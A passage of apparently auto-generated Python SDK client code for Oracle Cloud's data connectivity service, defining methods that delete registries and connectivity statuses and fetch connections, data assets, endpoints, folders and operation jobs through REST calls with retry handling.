'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_network_connectivity_status.py.html>`__ to see an example of how to use delete_network_connectivity_status API. """ resource_path = "/registries/{registryId}/networkConnectivityStatus/{networkValidationStatusKey}" method = "DELETE" operation_name = "delete_network_connectivity_status" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_network_connectivity_status got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "networkValidationStatusKey": network_validation_status_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_registry(self, registry_id, **kwargs): """ Deletes a Data Connectivity Management Registry resource by identifier :param str registry_id: (required) The registry Ocid. :param bool is_force_operation: (optional) Try to delete forcefully after drain timeout. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_registry.py.html>`__ to see an example of how to use delete_registry API. """ resource_path = "/registries/{registryId}" method = "DELETE" operation_name = "delete_registry" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "is_force_operation", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_registry got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "isForceOperation": kwargs.get("is_force_operation", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_connection(self, registry_id, connection_key, **kwargs): """ Retrieves the connection details using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Connection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_connection.py.html>`__ to see an example of how to use get_connection API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}" method = "GET" operation_name = "get_connection" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_connection got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Connection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_connection_validation(self, registry_id, connection_validation_key, **kwargs): """ Retrieves a connection validation using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str connection_validation_key: (required) The key of the connection validation. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ConnectionValidation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_connection_validation.py.html>`__ to see an example of how to use get_connection_validation API. """ resource_path = "/registries/{registryId}/connectionValidations/{connectionValidationKey}" method = "GET" operation_name = "get_connection_validation" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_connection_validation got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionValidationKey": connection_validation_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionValidation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_data_asset(self, registry_id, data_asset_key, **kwargs): """ Retrieves details of a data asset using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str data_asset_key: (required) The data asset key. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataAsset` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_data_asset.py.html>`__ to see an example of how to use get_data_asset API. """ resource_path = "/registries/{registryId}/dataAssets/{dataAssetKey}" method = "GET" operation_name = "get_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dataAssetKey": data_asset_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_data_entity(self, registry_id, connection_key, schema_resource_name, data_entity_key, **kwargs): """ Retrieves the data entity details with the given name from live schema. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str data_entity_key: (required) The key of the data entity. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataEntity` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_data_entity.py.html>`__ to see an example of how to use get_data_entity API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/dataEntities/{dataEntityKey}" method = "GET" operation_name = "get_data_entity" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_data_entity got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name, "dataEntityKey": data_entity_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataEntity", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataEntity", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_endpoint(self, endpoint_id, **kwargs): """ Gets a Data Connectivity Management Endpoint by identifier :param str endpoint_id: (required) DCMS Endpoint id :param str registry_id: (optional) DCMS registry id :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Endpoint` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_endpoint.py.html>`__ to see an example of how to use get_endpoint API. """ resource_path = "/endpoints/{endpointId}" method = "GET" operation_name = "get_endpoint" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_endpoint got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "registryId": kwargs.get("registry_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Endpoint", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Endpoint", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_execute_operation_job(self, registry_id, connection_key, schema_resource_name, execute_operation_job_key, **kwargs): """ Get the operation status or operation execution result :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str execute_operation_job_key: (required) Job id returned by execute operation job api :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ExecuteOperationJob` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_execute_operation_job.py.html>`__ to see an example of how to use get_execute_operation_job API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/executeOperationJobs/{executeOperationJobKey}" method = "GET" operation_name = "get_execute_operation_job" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_execute_operation_job got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name, "executeOperationJobKey": execute_operation_job_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ExecuteOperationJob", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ExecuteOperationJob", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_folder(self, registry_id, folder_key, **kwargs): """ Retrieves the folder details using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str folder_key: (required) The folder ID. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Folder` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_folder.py.html>`__ to see an example of how to use get_folder API. """ resource_path = "/registries/{registryId}/folders/{folderKey}" method = "GET" operation_name = "get_folder" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_folder got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "folderKey": folder_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_network_connectivity_status(self, registry_id, data_asset_key, **kwargs): """ Get Status of network reachability check, with the timestamp when the status was last checked, for a given PrivateEndpoint-DataAsset pair :param str registry_id: (required) The registry Ocid. :param str data_asset_key: (required) The data asset key. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.NetworkConnectivityStatus` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_network_connectivity_status.py.html>`__ to see an example of how to use get_network_connectivity_status API. """ resource_path = "/registries/{registryId}/dataAssets/{dataAssetKey}/networkConnectivityStatus" method = "GET" operation_name = "get_network_connectivity_status" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "endpoint_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_network_connectivity_status got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dataAssetKey": data_asset_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not 